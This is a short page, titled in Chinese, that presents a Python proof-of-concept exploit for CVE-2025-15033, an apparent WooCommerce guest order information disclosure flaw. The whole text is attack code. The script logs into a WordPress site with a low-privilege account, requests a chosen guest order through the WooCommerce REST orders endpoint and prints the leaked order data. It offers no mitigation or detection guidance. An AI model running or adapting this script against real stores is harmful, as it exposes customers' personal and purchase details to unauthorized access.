CVE-2025-15033 WooCommerce访客订单信息泄露漏洞

# CVE-2025-15033 WooCommerce Guest Order Information Disclosure PoC # Requires authenticated user with low privileges import requests import sys TARGET_URL = "https://vulnerable-site.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_ORDER_ID = 12345 # Guest order ID to target def exploit_cve_2025_15033(): """ Exploit for WooCommerce CVE-2025-15033 Information disclosure via unauthorized guest order access """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in session.cookies: print("[-] Authentication failed") return None print("[+] Successfully authenticated") # Step 2: Attempt to access guest order data # WooCommerce REST API endpoint for orders order_url = f"{TARGET_URL}/wp-json/wc/v3/orders/{TARGET_ORDER_ID}" headers = { "Content-Type": "application/json" } response = session.get(order_url, headers=headers) if response.status_code == 200: order_data = response.json() print(f"[+] Successfully accessed guest order {TARGET_ORDER_ID}") print(f"[+] Order data leaked: {order_data}") return order_data else: print(f"[-] Failed to access order: {response.status_code}") return None if __name__ == "__main__": exploit_cve_2025_15033()